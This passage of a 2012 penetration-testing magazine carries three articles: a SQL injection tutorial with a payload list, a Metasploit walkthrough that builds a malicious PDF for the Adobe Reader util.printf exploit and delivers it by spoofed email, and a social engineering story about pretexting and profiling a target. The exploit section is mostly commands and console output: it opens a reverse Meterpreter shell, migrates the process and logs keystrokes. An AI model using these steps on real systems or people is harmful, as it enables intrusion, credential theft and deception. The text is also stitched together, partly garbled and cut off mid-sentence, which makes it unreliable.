Let us look at another example why ‘ or 1=1-- is
important. Other than bypassing login, it is also possible
to view extra information that is not normally available.
Take an asp page that will link you to another page with
the URL http://somesite.com/home.asp?category=CCn
umbers.
In the URL, category is the variable name, and
CCnumbers is the value assigned to the variable. The
ASP may contain the following code in order to perform
that function:

v_cat = request(„category”)
sqlstr=”SELECT * FROM sensitivedata WHERE PCategory=’”
& v_cat & „’”
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v _ cat

and thus the SQL statement should become:

SELECT * FROM sensitivedata WHERE PCategory=’CCnumbers’

The SQL Injection query should return results

containing one or more rows that match the WHERE
condition, in this case, CCnumbers. Now, assume that
we change the URL into something like this:

http://somesite.com/home.asp?category=CCnumbers’ or 1=1--

Now, our variable v _ cat equals to CCnumbers’ or 1=1--, if

we substitute this in the SQL query, we will have:

SELECT * FROM sensitivedata WHERE PCategory=’CCnumbers’

or 1=1--’

The SQL Injection query now should now select

everything from the sensitivedata table regardless if

THE BEST OF 01/2012


PCategory is equal to CCnumbers or not. A double
dash -- tells SQL server ignore the rest of the query
as it is just a comment, which will get rid of the last
hanging single quote. However, you may be able to
simply ignore the rest of the query. Depending on what
type of backend database server you are dealing with
you also may try:
‘ or ‘a’=’a
The SQL Injection query will now become:
SELECT * FROM sensitivedata WHERE PCategory=’CCnumbers’
or ‘a’=’a’
It should return the same result.
Again, depending on the type of backend SQL server
you are dealing with is you may have to try some
additional syntax, such as:
‘ or ‘a’=’a
„ or „a”=”a
‘) or (‘a’=’a
1’1
1 AND 1=1
1’ AND 1=(SELECT COUNT(*) FROM tablenames); --
%31%27%20%4F%52%20%27%31%27%3D%27%31
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects
WHERE xtype = ‘U’ –
1’ AND non_existant_table = ‘1
‘ or 1=1--
„ or 1=1--
or 1=1--
A good resource for additional statements is the
website http://ha.ckers.org, which maintains a large
SQL Injection cheat sheet that is extremely helpful.
Another Example of a SQL Injection Attack
Here is a very simple HTML form with inputs login and
password.
<form method=”post” action=”http:// www.somesite.com
/login.asp”>
<input name=”tfUName” type=”text” id=”tfUName”>
<input name=”tfUPass” type=”password” id=”tfUPass”>
</form>
The easiest way for the login.asp to work is by building
a database query that looks like this:
SELECT id FROM logins WHERE username = ‘$username’
AND password = ‘$password’
THE BEST OF 01/2012
PENTEST REGULAR
If the variables $username and $password are requested
directly from the user’s input, this can easily be
compromised. Suppose that we gave Mike as a
username and provided anything OR ‘x’=’x as a
password. That would look like this:
SELECT id FROM logins WHERE username = ‘Mike’
AND password = ‘anything’ OR ‘x’=’x’
As the inputs of the web application are not properly
sanitized, the use of the single quotes has turned the
WHERE SQL command into a two-component clause.
The ‘x’=’x’ part guarantees to be true regardless of
what the first part contains.
This query will allow the attacker to bypass the login
form without a valid username or password.
Schema Mapping
Figuring out the database schema can be difficult, so
the best solution is to guess. To guess table names we
can use something like in Listing 4. If we get a server
error, it means our SQL is malformed and a syntax error
was thrown. It’s most likely due to a bad table name.
If we get any kind of valid response, we guessed the
name correctly.
Blind SQL Injection
Blind SQL Injection is a little more complicated than
the typical error based SQL Injection attacks. To
demonstrate a Blind SQL Injection attack I will begin by
using our example again with a slight variation:
http://somesite.com/home.asp?id=3 and 1=1
When this is executed against our web page, we see
normal web page content and everything looks normal.
This URL request is always true, as I mentioned earlier
1 always equals 1, so the web page should load
normally and display expected content. To test for
Blind SQL injection then when we want to change our
URL to this:
http://www.somesite.com/home.php?id=5 and 1=2
Now we want to take a look at the web page that is
returned. If any of the content is missing on returned
page then we can assume the web page is likely
vulnerable to Blind SQL Injection. A result with missing
content is a clue that Blind SQL Injection is possible
and using some creativity we can put together some
SQL queries that evaluate to true or false depending
on the contents of another column or table outside of
the SELECT statement’s column list.
Page 42 http://pentestmag.com
Tools
All you NEED to perform SQL Injection is a web
browser and internet connection, however for large
engagements this isn’t always the most efficient tactic.
This is where tools come in handy.
Sqlmap
Sqlmap is my personal favorite and can be found here,
http://sqlmap.sourceforge.net/. Sqlmap supports a large
variety of backend databases, automatic password hash
cracking, database enumeration, and tons of additional
stuff. And the best part is it’s free.
SQL Power Injector
SQL Power Injector which is designed to find and
exploit SQL Injection vulnerabilities through use of
automated injections, and can be found here http://
www.sqlpowerinjector.com/. SQL Power Injector works
well but is not for the SQL Injection newbie.
SQL Inject Me
SQL Inject Me is a Firefox add-on that will attempt to
exploit any web page you point it at. While it is pretty
convenient to have a SQL Injection tool built right into
your browser, usability is pretty low as is reliability.
However it is still a fun tool to play with.
Checking for SQL Injection vulnerabilities involves
auditing your website and web applications. Manual
vulnerability auditing is complex and very time-
consuming. It also demands a high-level of expertise
and the ability to keep track of considerable volumes
of code and of all the latest trends and attacks that are
currently available.
Another easy option to check a web application
for SQL injection vulnerabilities is by using a web
application vulnerability scanner. An automated web
vulnerability scanner crawls the website looking for
application to check for vulnerabilities to SQL Injection
attacks. It will indicate which URLs and applications
are vulnerable to SQL injection so that you can further
investigate, report, and remediate.
Signature Matching versus Heuristic Scanning for
SQL Injection
Whereas many organizations understand the need for
automating and regular web auditing, few appreciate
Listing 4. Schema mapping
SELECT * FROM table WHERE email = 'test' AND 1=(SELECT COUNT(*) FROM table); --';
THE BEST OF 01/2012 Page 43
the necessity of scanning custom web applications.
The general misconception is these custom web
applications are not vulnerable to hacking attacks.
This arises more out of the it can never happen to me
phenomenon and the confidence website owners place
in their developers.
It is critical to understand that custom web applications
are probably the most vulnerable and will definitely
attract the greatest number of attackers simply because
there is the possibility that home-grown applications did
not pass through significant, if any, quality assurance
testing.
This means that scanning a custom web application
with only a signature-based scanner will not pinpoint
vulnerabilities to SQL Injection and any other hacking
techniques. Establishing and testing against a database
of signatures of vulnerabilities for known applications is
not enough. This is passive auditing because it will only
cover off-the-shelf.
In addition, signature matching would do little when
a hacker launches an SQL Injection attack on your
custom web applications. Hack attacks are not based
on signature file testing – hackers understand that
known applications, systems and servers are being
updated and secured constantly and consistently by
respective vendors. It is custom applications that are
the proverbial honey pot.
It is only a handful of products that deploy rigorous and
heuristic technologies to identify the real threats. True
automated web vulnerability scanning almost entirely
depends on how well your site is crawled to establish
its structure and various components and links, and (b)
on the ability of the scanner to leverage intelligently the
various hacking methods and techniques against your
web applications.
It would be useless to detect the known vulnerabilities
of known applications alone. A significant degree of
heuristics is involved in detecting vulnerabilities since
attackers are extremely creative.
Defense against SQL Injection attacks
Even though SQL Injection is one of the most common
application layer attacks currently being used it is
relatively easy to protect against.
Whether an attacker is able to see the data stored
on the backend database or not, really depends on
http://pentestmag.com

how your website is coded to display the results of
the queries sent by the application. What is certain
is that if the attacker is able to execute arbitrary SQL
Commands on the vulnerable system, they will be able
to compromise it.
There is a significant chance that the web applications
you are testing will be vulnerable to a SQL Injection Attack.
Though, due to the fact most of us don’t write the code
used on web applications we are testing, and in many
cases aren’t given the code to review, it can be extremely
difficult to know which web applications are vulnerable to
SQL Injection. If improperly coded, the risk of having your
data compromised is significantly increased.
What an attacker gains access to also depends on
the level of security set by the backend database. The
database could be set to restrict to a specific subset of
commands. Read only restrictions are common but still
do not necessarily protect the confidentiality of the data.
Even if an attacker is not able to modify the system, he
would still be able to read sensitive information.
Protecting the web applications from SQL Injection,
like most vulnerabilities, relies on Defense In Depth:
• Analyzing the state of security by performing a
vulnerability assessment or pentest and regularly
performing them after changes are made to the
infrastructure.
• Web applications need to be developed using best
practice techniques.
• Sanitize Input: As far as possible use and allow
only alpha-numeric. If there is a need to include
punctuation marks of any kind, convert them by
HTML Encoding.
• Prepared Statements: Send precompiled SQL
statements with one or more parameters.
Parameter place holders in a prepared statement
are represented by the ? and are called bind
variables. Prepared statements are typically
immune to SQL Injection attacks as the backend
database will use the value of the bind variable
exclusively and not interpret the contents of the
variable in any other way.
• Use Least Privilege: Give an application user the
specific bare minimum rights on the database
server it needs. Restrict the application user from
permissions to access system stored procedures.
• Custom Errors: Return SQL Query errors
with custom non-descript responses. By not
revealing any information in error codes you
can make it much more difficult for attackers to
map your schema. Default error reporting for
some frameworks includes developer debugging
information.
THE BEST OF 01/2012 Page 44
PENTEST REGULAR
• Application firewalls and similar intrusion detection
mechanisms provide a little defense against full-
scale web attacks.
• IDS: Known SQL Injection syntax can be
indentified and used to alert security admini-
strators
• Application Firewalls: White listing expected web
application input strings can be used to restrict
SQL Injection. This is especially useful when
code review or remediation is not available.
• Server and database patching is critical but will
not provide a significant defense against SQL
Injection attacks.
Summary
Through SQL Injection an attacker is able to inject SQL
commands. This is equivalent to handing the attacker
your database and allowing him to execute any SQL
command he wishes, possibly resulting in the loss of
the entire CIA Triad. An attacker can gain unauthorized
access by bypassing authentication, alter the data,
or simply remove the data or shutdown the system
housing the data.
An attacker may execute arbitrary SQL statements
on the vulnerable system. This may compromise
the integrity of your database and expose sensitive
information. Depending on the back-end database
in use, SQL injection vulnerabilities lead to varying
levels of data/system access for the attacker. It may be
possible to manipulate existing queries, to UNION (used
to select related information from two tables) arbitrary
data, use subselects, or append additional queries. In
some cases, it may also be possible to execute stored
procedures, or to execute shell commands on the
underlying operating system.
Unfortunately the impact of SQL Injection, like many
security vulnerabilities, is only fully understood after a
successful attack has been discovered. Data is being
unwittingly stolen through various hack attacks all the
time. The more expert of hackers rarely get caught.
CHRISTOPHER PAYNE
Christopher Payne, has held numerous positions in the
Information Technology and Information Security �elds
over the last decade. Christopher currently works as an
Information Security Engineer, Adjunct Professor, President
of the Grand Rapids ISSA, and the co-founder of GrrCON. Chris
has been featured by many regional television, radio and print
organizations and maintains a myriad of certi�cations.
http://pentestmag.com
 ������������������������������
���������������������������������

������� ��������
������������� �������������

������������������������������������� ��������������������������������������
��������������������������������� ����������
���������������� ���������������������������
� � �������������������������� ��������������������������������������
��� �������������������

��������������������������������� ������������������������������������
������������������������������������� ������
������������ ����������������������������
� � ������������������������������� ������������������������� ���
���������������������������

������������������
������������������������������������������������������������������������������������������������������������
�����������������������������������������������������������������������������������������������������������������
�������������������������������������������������������������������������������������������������
THE BEST OF 01/2012 Page
���� ���������� �����
 PENTEST REGULAR

Hi!
I hacked your computer

With every passing day, with each new software, hackers around
the world start looking for vulnerabilities and write exploit codes
for them. Patching those vulnerabilities takes a lot of time and
by then the systems have been compromised. As an attacker,
there are many ways to compromise the client side systems, my
preferred method involves social engineering.

I
magine you receive a PDF attachment from a friend or
a colleague, you open it and you get an Figure 2 PDF
attachments because the file maybe damaged or not
created properly. Your first thought is that the source may
not be good, you run it through antivirus and it shows the
file is clean; this gives you the feeling of safety.
You now click ok to continue with your tasks to ask
your IT for help for to try something else.
You didn’t realize that you just got owned!
In a traditional scenario, an attacker would do
dumpster diving and get emails and other printouts to
get some information about you.
I feel there are better ways to get such information
and that’s where the art of social engineering comes in.
Many a times I have used social engineering techniques
to prove that anything can be done if you know how to
talk your way through it. In our scenario our attacker has
been doing a lot of information gathering using tools such
as the (MetaSploit Framework), (Maltego) and other tools
to gather email addresses and information to launch a
social engineering client side attack on the victim.
Vulnerability
Description
A remote overflow exists in Adobe Reader and Adobe
Acrobat. The document reader fails to properly bounds
check input to the util.printf() javascript function
resulting in a stack-based overflow. With a specially
crafted request, an attacker can cause arbitrary code
execution resulting in a loss of integrity.
Classi�cation
Location: Remote / Network Access
Attack Type: Input Manipulation
Impact: Loss of Integrity
Solution: Upgrade
Exploit: Exploit Public, Exploit Commercial
Disclosure: OSVDB Verified, Vendor Verified
Scenario
For our demonstration we will talk about how the said
Social Engineering will be done to extract the required
information. First we choose a victim, then we do go
to their website and search the careers section for the
available IT Jobs of the company to find out what jobs
are vacant, their individual descriptions will give us the
information about various software technologies in use.
Getting a brief idea, we can then search major
vendor’s websites for their testimonials or clients. Every
vendor displays its client list on its website proudly to
show credibility and to have major organizations vouch
for their quality and work.
A call to these vendors posing as a large organization,
spoofing your caller id to reflect the same and talking
to them, we can ask them to tell us about the victim
company, saying we have worked with them before,

THE BEST OF 01/2012 Page 46 http://pentestmag.com

we like the products you gave to them, and would like
to have the same products for us. Or it can be saying
that we have seen your client list and are not sure if
we can trust them saying you are new to this region
etc. Have the vendor give you the email address of the
IT contact they have in the company so you can ask
them personally about the vendor’s claim of excellent
services. Most vendors will oblige to this thinking it will
be good for this business. The higher the owner of the
mail id is in the victim’s hierarchy the better it is for the
attacker.
After a successful Social Engineering session and
scraping for emails from the web, you have gained two
key pieces of information.
• They use XYZ Computers for technical services.
• The IT Dept has an email address of
itdept@victim.com

Listing 1. Creating malicious PDF �le

msf > use exploit/windows/fileformat/adobe_utilprintf

msf exploit(adobe_utilprintf) > set FILENAME XYZComputers-UpgradeInstructions.pdf
FILENAME => XYZComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME XYZComputers-UpgradeInstructions.pdf yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of the file.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.8.128 yes The local address
LPORT 4455 yes The local port

Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)

Listing 2. PDF �le created

msf exploit(adobe_utilprintf) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler
[*] Creating 'XYZComputers-UpgradeInstructions.pdf' file...
[*] Generated output file /pentest/exploits/framework3/data/exploits/XYZComputers-UpgradeInstructions.pdf
[*] Exploit completed, but no session was created.
msf exploit(adobe_utilprintf) >

THE BEST OF 01/2012 Page 47 http://pentestmag.com


Now what?
We want to gain shell on the IT Departments computer
and run a key logger to gain passwords, intel about
possible confidential things in use or any other juicy
tidbits of info we can get our hands on.
We start off by loading our (MetaSploit Framework)
msfconsole.
PENTEST REGULAR
After we are loaded we want to create a malicious
PDF that will give the victim a sense of security in
opening it. To do that, it must appear legit, have a title
that is realistic, and not be flagged by anti-virus or other
security alert software. We are going to be using the
Adobe Reader util.printf() JavaScript Function Stack
Buffer Overflow Vulnerability.

Listing 3. Setting up multi handler listener

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LPORT 4455

LPORT => 4455
msf exploit(handler) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler
[*] Starting the payload handler...

Listing 4. Creating hacking e-mail

root@bt:~# sendEmail -t itdept@victim.com -f techsupport@xyzcomputers.com -s 192.168.8.131 -u Important Upgrade

Instructions -a /tmp/XYZComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
– First line must be received within 60 seconds.
– End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading
and securing your software. Please read and let us know if you have any problems.

Sincerely,

XYZ Computers Tech Support

Aug 24 17:32:51 bt sendEmail[13144]: Message input complete.
Aug 24 17:32:51 bt sendEmail[13144]: Email was sent successfully!

Listing 5. What displays on the attackers machine screen...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
session[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322)

meterpreter >

THE BEST OF 01/2012 Page 48 http://pentestmag.com

 Adobe Reader is prone to stack-based buffer-overflow
vulnerability because the application fails to perform
adequate boundary checks on user-supplied data.
An attacker can exploit this issue to execute arbitrary
code with the privileges of the user running the
application or crash the application, denying service to
legitimate users.
So we start by creating our malicious PDF file for use
in this client side attack (Listing 1).
Once we have all the options set the way we want, we
run exploit to create our malicious file (Listing 2).
So we can see that our pdf file was created in a sub-
directory of where we are. So lets copy it to our /tmp
directory so it is easier to locate later on in our exploit.

Listing 6. Further exploiting

meterpreter > ps

Process list
============

PID Name Path

--- ---- ----
852 taskeng.exe C:\Windows\system32\taskeng.exe
1308 Dwm.exe C:\Windows\system32\Dwm.exe

2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe

2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe
3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe

meterpreter > run post/windows/manage/migrate

[*] Running module against V-MAC-XP

[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)

meterpreter > sysinfo

Computer: OFFSEC-PC
OS : Windows Vista (Build 6000, ).

meterpreter > use priv

Loading extension priv...success.

meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against V-MAC-XP

[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
[*] Recording keystrokes...

root@bt:~# cat /root/.msf3/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt

Keystroke log started at Wed Mar 23 09:18:36 -0600 2011
Support, I tried to open this file 2-3 times with no success. I even had my admin and CFO try it, but no
one can get it to open. I turned on the remote access server so you can log in to fix our problem. Our user name
is admin and password for that session is 123456. Call me when you are done. Thanks IT Dept

THE BEST OF 01/2012 Page 49 http://pentestmag.com


Figure 1. PDF Virus Check
Before we send the malicious file to our victim
we need to set up a listener to capture this reverse
connection. We will use msfconsole to set up our multi
handler listener (Listing 3).
Now that our listener is waiting to receive its malicious
payload we have to deliver this payload to the victim
and since in our information gathering we obtained the
email address of the IT Department we will use a handy
little script called sendEmail to deliver this payload to
the victim. With a kung-fu one-liner, we can attach the
malicious pdf, use any smtp server we want and write
a pretty convincing email from any address we want...
(Listing 4).
As we can see here, the script allows us to put any
FROM (-f) address, any TO (-t) address, any SMTP
(-s) server as well as Titles (-u) and our malicious
attachment (-a). Once we do all that and press enter we
can type any message we want, then press CTRL+D
and this will send the email out to the victim.
Now on the victim’s machine, our IT Department
employee is getting in for the day and logging into his
computer to check his email.
He sees the very important document and copies it to
his desktop as he always does, so he can scan this with
his favorite anti-virus program.
As we can see, it passed with flying colors so our IT
admin is willing to open this file to quickly implement
these very important upgrades. Clicking the file opens
Figure 2. Adobe Reader not able to open
THE BEST OF 01/2012
PENTEST REGULAR
Bibliography
• Adobe Reader Vulnerability. (n.d.). Retrieved from http://
about-threats.trendmicro.com
• Maltego. (n.d.). Retrieved from http://www.paterva.com/
web5/
• MetaSploit Framework. (n.d.). Retrieved from http://
metasploit.com/
• Exploit Source code: http://dev.metasploit.com/redmine/
projects/framework/repository/entry/modules/exploits/
windows/browser/adobe_utilprintf.rb
• CVE-2008-2992: http://cve.mitre.org/cgi-bin/cvename.cgi?
name=2008-2992
• 49520: Adobe Reader / Acrobat util.printf() Function Cra-
fted PDF File Handling Over�ow: http://osvdb.org/49520
Adobe but shows a greyed out window that never
reveals a PDF. The greyed out window looks like this:
(Figur 2 Adobe Reader Vulnerability). And then, on the
attacker’s machine what is revealed... (Listing 5).
We now have a shell on their computer through a
malicious PDF client side attack. Of course what would
be wise at this point is to move the shell to a different
process, so when they kill Adobe we don’t lose our
shell. Then obtain system info, start a key logger and
continue exploiting the network (Listing 6).
Conclusion
And that’s it, its game over for the victim. The attacker
can now not only get hold of sensitive information but
also copy any data from the victim’s computer. This
vulnerability affects Adobe Acrobat and Reader 8.1.2
and earlier allows remote attackers to execute arbitrary
code via a PDF file that calls the util.printf JavaScript
function with a crafted format string argument.
Solution
Upgrade to version 8.1.3 or higher, as it has been
reported to fix this vulnerability. An upgrade is required
as there are no known workarounds. Or in a really bad
case, reinstall your OS.
MILIND BHARGAVA
Milind Bhargava, (CEH), (ECSA) is in love
with the �eld of Information Security, in
pursuit of his love he has completed his
CEH & ECSA certi�cations in 2010 from
EC-Council and completed IT Security
& Ethical Hacking course from Appin Noida, India. He has
worked as Head of IT for an Oil & Gas MNC in Doha, Qatar,
where his responsibilities included but were not limited to
Network Security. He believes that ethical hacking is an
addiction, which you can never master. It’s a skill which you
can control, but never stop learning more about. And so he
continues on his quest as an eternal student.
Page 50 http://pentestmag.com
 PENTEST REGULAR

Mastering
the Behavioral Techniques for Quick Rapport and
Elicitation
There are skilled conversationalists that can induce an individual to
unwittingly divulge their deepest secrets, their closest held personal
information, and even their banking information and passwords
without being asked any direct or related questions. In today’s high
paced competitive environment individuals and companies that are
unscrupulous and obsessed with winning will go to any extreme to
achieve a competitive edge in the marketplace, including penetrating
a competitor’s computer operating system.

T
he most successful will accomplish the must practice at every opportunity. Most individuals fear
unimaginable by employing age old spy-craft rejection when attempting these skills, but you must
skills as well as technology. These master have the courage to Enter the Arena (Figure 1).
elicitors of information utilize directed, purposeful, and Today’s professionals entering the workforce bring with
well planned out conversations in order to elicit and gain them a critical and highly sought after skill set in regards
whatever information they deem of value. to technology that tends to exceed the generations prior
The first president of the United States, George to them. Likewise, the prior generations in the work
Washington, was our countries first spy master. At the force tend to have a skill set in regards to developing
onset of the war for independence, the British were quick rapport and conversations with individuals one-
occupying the city of Boston. Washington was desperate on-one. As in many situations, when you combine skill
for information in order to give him and the Americans a sets, the end result is a much better capability than
tactical edge. Washington employed a master observer each alone. Breaking down the art form of interpersonal
and elicitor, a spy, in order to gather the necessary
information on the opposing force. Instead of hacking
a computer operating system, Washington hacked a
human operating system and successfully penetrated
the British information network in Boston for $333.00.
The human hacking skills used throughout history
are now being combined with the computer network
penetration skills of today to form the most advanced
information gathering system ever known, the Social
Engineer. This article will highlight and demonstrate the
advanced social psychological skills (soft skills) used
by master Social Engineers. Developing these skills is
not difficult, it requires a desire to build upon that which
we all do every day, interact with people. The difference
is that these interactions will be with a purpose and a
plan. In order to build these skills to a mastery level, you Figure 1. The Man in the Arena

THE BEST OF 01/2012 Page 52 http://pentestmag.com

relations into a paint-by-number executable process is
critical to developing these skills rapidly.
Background
Clark is a senior penetration tester (pentester) for a leading
cyber security firm. He was recruited by the company a
number of years ago when it was first formed because of
his background and expertise at developing confidential
human sources on a cyber intrusion task force for the
government. Clark isn’t the most technically skilled in the
company, but he has been able to successfully highlight
the human vulnerabilities that companies have with
startling success. Using his years of eliciting and rapport
building experience, Clark is able to target an individual
in the client company, build an appropriate engagement
plan, and have a successful conversation and ongoing
dialogue with the individual. Clark routinely is able to
obtain technical information about the client’s computers
and operating systems, security protocols, and even
passwords. In the rare instances when Clark doesn’t get
the exact password, he is able to obtain the methodology
an individual uses and most often where the passwords
are stored for later retrieval.
John Becker is a recent addition to the Company.
Becker was hired a few months ago because of his
strong computer background. Becker received his
undergraduate and eventually his graduate degree in
computer science from a leading university. Becker has
always been fascinated by people as well as computers.
His research was in the area of utilizing social media
for developing personality models. Despite Becker’s
fascination with people, he has always regretted never
taking the time while in school to put his research and
interest in people into practical application. The thought
of approaching a stranger and initiating a conversation
is a daunting thought to him. What Becker doesn’t
realize is that creating conversations with strangers
is an intimidating thought to most people. Luckily for
Becker, he has been teamed with Clark, a master
rapport builder.
the internet for information related to their new client as
well as upcoming training and conferences concerning
cyber security. Becker was aware that he had the
education, but desperately needed practical skills if he
was going to succeed in his profession. Clark glanced
around Becker’s cubicle and noted that he had some
photos of his children. The photos were facing outward
toward the aisle and prominently on display. One of the
photos was of Becker apparently coaching his young
son at a T-ball game. Clark smiled when he saw the
photo and said, Hi Becker, how are your first few weeks
going? Becker swiveled around in his chair and looked
up at the smiling Clark and replied, Fine, I’m a little
concerned that I don’t feel like I am really contributing
anything significant yet. Clark continued his friendly
smile and replied, That’s ok, it takes a little time to figure
things out. Clark went on to apologize that it had taken
him this long to reach out and have a chat with him. He
offered no excuse but the humble apology.
Clark regarded the photo of Becker and his son on
his desk, smiled while angling his head slightly to the
side and inquired, Your son? Becker immediately felt at
ease and went on to describe how he coaches his son’s
baseball team. The two had a nice chat about what
Becker does with his free time with his children while

The Situation
One afternoon one of the company’s executives
informed Clark that they had a new client requesting a
social engineering penetration test (SE Pentest). The
client wants the company to test their people network
for human information leakage and vulnerabilities so
they are able to better tailor their training to address
the vulnerabilities discovered. Clark thought this was a
great opportunity to get his new apprentice engaged in
SE soft skill techniques.
Clark approached Becker at his desk. Becker was
sitting in his chair facing his computer screen surfing Figure 2. Clark’s simple planning guide

THE BEST OF 01/2012 Page 53 http://pentestmag.com


Clark pulled up a chair and sat attentively listening to
Becker play the part of the proud father discussing his
children. About 15 minutes later when Becker exhausted
his conversation, Clark leaned in and asked, So are
you ready to go out and do some social engineering?
Becker responded, Sure.
Clark went on to explain how he had just been hired
to conduct a SE Pentest for a new client. The client
was requesting a test of the company’s people network
and vulnerabilities. Clark went on to explain how this
typical test first starts out with identifying the types
of computers and operating systems the company
utilizes. Becker looked at Clark with a slight grimace
and eyebrow compression indicating a degree of stress
and inquired, How are we going to do that? Clark smiled
broadly and replied, By using advanced rapport building
techniques and elicitation; the same that the best spy
agencies around the world use.
Clark explained that the first step in the process
was to identify a human target for their SE Pentest.
Clark also explained that different SE’s may have a
different process, but one that has served him well
was to review company information and personnel
in the company. Becker offered that he had already
been to the company’s website and there was no
personnel roster available, only a contact number for
inquiries. Clark offered that good companies like this
one do not create easy targets. Clark asked Becker,
So what position or level of employee do you think
would be the best for us to glean information from?
Becker offered, A secretary? Clark informed him that
secretaries were generally an information windfall and
generally underpaid and underappreciated, which
lends itself to the techniques really well. Clark went on
to describe that he thought someone around midlevel
management that was involved in purchasing might be
good. Clark said that part of the objective was to gain
access to the facility as well as uncover the types of
computers and operating systems they were using.
Becker asked how they were going to find out who that
individual is and how to accomplish the goals. Clark
responded, Like all important missions, with a well
thought out plan.
Clark took a piece of paper out of his notebook and
began writing a simple planning guide down (Figure 2).
Clark explained that this was the same guide he
had developed when he was developing confidential
human sources for the government. Becker regarded
the document and noted that the first section was Who?
They had identified a possible job position, but they
needed some more details for targeting. Clark explained
to Becker that once he developed his own techniques
and built his muscle memory around them, he would be
THE BEST OF 01/2012 Page 54
PENTEST REGULAR
able to execute the techniques rapidly without having to
strategize every word, For example. Clark asked Becker
for the phone number to the company. Becker provided
it with a quizzical look as Clark picked up the phone and
called the company. Clark called the company and a
pleasant sounding woman answered the phone. Clark
added a smile while he was speaking, lowered his chin
angle and tilted his head slightly to the side and said
into the phone, Hi, I’m sorry to bother you but I only
have a few minutes before I have to get back to work.
I’m embarrassed and I hope you can help. The woman
on the other end immediately softened her voice a little
and asked how she can help. Clark continued, I met one
of your managers some time ago who is in purchasing
and we really had a great conversation. I offered him
assistance on one of his projects and he gave me his
business card. I was absent minded and left his card
in my shirt pocket and washed it. I’m calling because
all I can make out on the card is a partial name. I think
it is John Carter. The woman on the other end quickly
corrected Clark and said that there manager in charge
of purchasing is Steve Smith. Clark replied with a
chuckle, You are a life saver; the card is in such bad
shape I was way off. I would have been lost without
you. The woman gave a modest laugh and replied, I
try, I only wish I could be as much of a help to everyone
else. The woman went on to offer his direct telephone
number as well as the hours that he normally is in. John
again thanked her for her time and assistance before
he hung up.
Becker was staring at Clark in amazement when he
hung up the phone. Becker said, That sounded like
such a normal conversation, but she ended up giving
you exactly what you wanted and you never asked for it.
Correct, said Clark, I elicited the information by utilizing
social psychological techniques that we’ll discuss later.
Now, I need you to use that great computer social
networking background you have and get us as much
information about Smith as you can.
Planning the Encounter
Becker worked diligently researching Smith utilizing
his knowledge of social networking sites and other
information gathering tools. There wasn’t a great deal
of information available, but he did determine that
Smith is married, his home address, he is the father of
a son and daughter, and he coaches his son’s baseball
team. Becker discovered that Smith maintains a blog
where he discusses one of his passions, coffee.
Smith is an avid coffee aficionado and describes in
detail his favorite roasts as well as his favorite coffee
houses, including the one he frequents almost every
Saturday.
http://pentestmag.com
 As the next few days passed, both Clark and Becker
were reading Smith’s blog, gaining greater insight into
Smith’s interests and hobbies. Smith appeared to be
extremely knowledgeable and very direct with a quick
wit and mind for observation. He also appeared to
be very genuine in his desire to help others and be a
good husband, father, and employee. Clark devised the
meeting engagement plan with Becker’s input. Becker
was a bit surprised about the simplicity of the plan and
also a bit disappointed that his role was mostly listening
and observing. Clark assured him that it was because
he needed Becker to observe so they could have a
productive after action review. The best advice that
Clark gave Becker as they departed was to Be yourself,
if you are anything else people can see right through it
and you just end up looking fake. Clark also told Becker
to subdue his natural desire to chat too much and that
he would prompt him when the time was right. Becker
didn’t quite understand but agreed.
The plan was for Clark to be a computer printer sales
representative and that Becker would be a service
technician. Clark had utilized this type of pretext many
times in the past and found it to be very effective. Clark
reminded Becker to listen closely and follow his lead
during any conversation that ensued. Clark was going
to attempt to first build rapport with Smith, and then
hopefully broker an invitation to look at Smith’s printers
at his place of employment.
Clark and Becker headed out to where they new Smith
went almost every Saturday morning for his coffee.
From his blog, they knew that he enjoyed reading the
newspaper while he sampled a new coffee blend. While
driving, Clark further explained to Becker that these
operations sometimes take some time because they
have to wait for the perfect opportunity to engage the
target in a way that seems innocuous to the target.
Once at the coffee shop, Clark and Becker ordered
their coffee’s and waited and hoped that Smith would
arrive this Saturday morning. Finally, a few hours later
Smith did arrive. Clark and Becker recognized him
from his Facebook photos. Clark smiled at Becker and
said, Remember, follow my lead. Becker nodded and
watched his mentor prepare for action.
Smith purchased a coffee and took a seat at a table close
to Clark and Becker. As Smith sat down and unfolded a
newspaper to read, Clark asked Becker, Regarding your
children, what do you think is an appropriate age for kids
to start dating at? Becker looked at Clark quizzically. Clark
merely gave him a nod and a blink of an eye. Becker
smiled and said, That’s a tough question, my wife and I
